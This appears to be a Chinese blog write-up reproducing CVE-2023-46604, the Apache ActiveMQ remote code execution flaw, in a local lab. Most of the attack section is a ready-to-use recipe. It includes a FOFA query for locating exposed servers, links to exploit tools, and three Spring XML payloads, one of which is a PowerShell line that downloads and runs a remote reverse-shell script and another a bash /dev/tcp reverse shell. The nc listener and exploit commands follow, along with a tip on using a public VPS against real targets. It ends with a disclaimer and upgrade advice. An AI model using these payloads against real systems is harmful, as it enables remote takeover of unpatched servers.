前言
近期在漏洞扫描时发现服务器存在CVE-2023-46604漏洞,故做一下漏洞复现记录。
一、漏洞名称
Apache ActiveMQ 远程代码执行漏洞
二、漏洞描述
Apache ActiveMQ 中存在远程代码执行漏洞,具有 Apache ActiveMQ 服务器TCP端口(默认为61616)访问权限的远程攻击者可以通过发送恶意数据到服务器从而执行任意代码。
三、受影响端口
61616
四、受影响版本
Apache ActiveMQ < 5.18.3
Apache ActiveMQ < 5.17.6
Apache ActiveMQ < 5.16.7
Apache ActiveMQ < 5.15.16
五、FOFA语法
app="APACHE-ActiveMQ" && port="61616"
六、本地复现
1、环境搭建
本地环境采用的是kali+win10系统做复现,漏洞环境安装部署在win10中。
ActiveMQ版本:5.17.4,Java环境为jdk11,需提前安装好。
win10 IP:192.168.78.174
kali IP: 192.168.78.128
下载好ActiveMQ后修改配置文件
进入bin目录下选择win64目录下的bat文件开启运行
可访问即可,默认账户密码:admin/admin
2、exp工具复现
工具地址:
https://github.com/sincere9/Apache-ActiveMQ-RCE/tree/main/exp
https://github.com/SaumyajeetDas/CVE-2023-46604-RCE-Reverse-Shell-Apache-ActiveMQ
个人感觉下面这个好用点,我这里用下面这个吧
上面这个工具使用可参考这个博客:Apache ActiveMQ 远程代码执行漏洞复现(CNVD-2023-69477)-CSDN博客
工具下载好后利用很简单,首先准备好poc.xml
poc-dnslog
<?xml version="1.0" encoding="utf-8"?>
<beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation=" http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg>
<list>
<value>ping</value>
<value>xxx.xxx.xxx.cn</value>
</list>
</constructor-arg>
</bean>
</beans>
poc-win
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg>
<list>
<value>powershell</value>
<value>-c</value>
<value><![CDATA[IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/samratashok/nishang/master/Shells/Invoke-PowerShellTcp.ps1'); Invoke-PowerShellTcp -Reverse -IPAddress 192.168.78.128 -Port 3333]]></value>
</list>
</constructor-arg>
</bean>
</beans>
poc-linux
<?xml version="1.0" encoding="UTF-8" ?>
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="
http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg >
<list>
<value>bash</value>
<value>-c</value>
<value><![CDATA[bash -i >& /dev/tcp/ip/端口 0>&1]]></value>
</list>
</constructor-arg>
</bean>
</beans>
这里目标主机为windows系统,采用对应的poc,当然poc是根据环境决定,可随意改
在poc目录开启http服务,可正常访问即可
python3 -m http.server 8000
在kali监听端口
nc -lvvp 3333
在本机运行exp工具
activemq-rce -i 192.168.78.174 -u http://192.168.78.128:8000/poc.xml
查看监听端口,可看到shell成功反弹,并且为管理员权限
复现成功
实际环境反弹须借助vps公网IP,操作方法类似,做好端口映射,发布http服务即可。
注:无授权不要随意使用实际环境复现,最好是本地,本文仅作技术交流,任何非授权行为均与本文无关。
七、修复建议
建议更新到安全版本
Apache ActiveMQ >= 5.18.3
Apache ActiveMQ >= 5.17.6
Apache ActiveMQ >= 5.16.7
Apache ActiveMQ >= 5.15.16
版权归原作者 一纸-荒芜 所有, 如有侵权,请联系我们删除。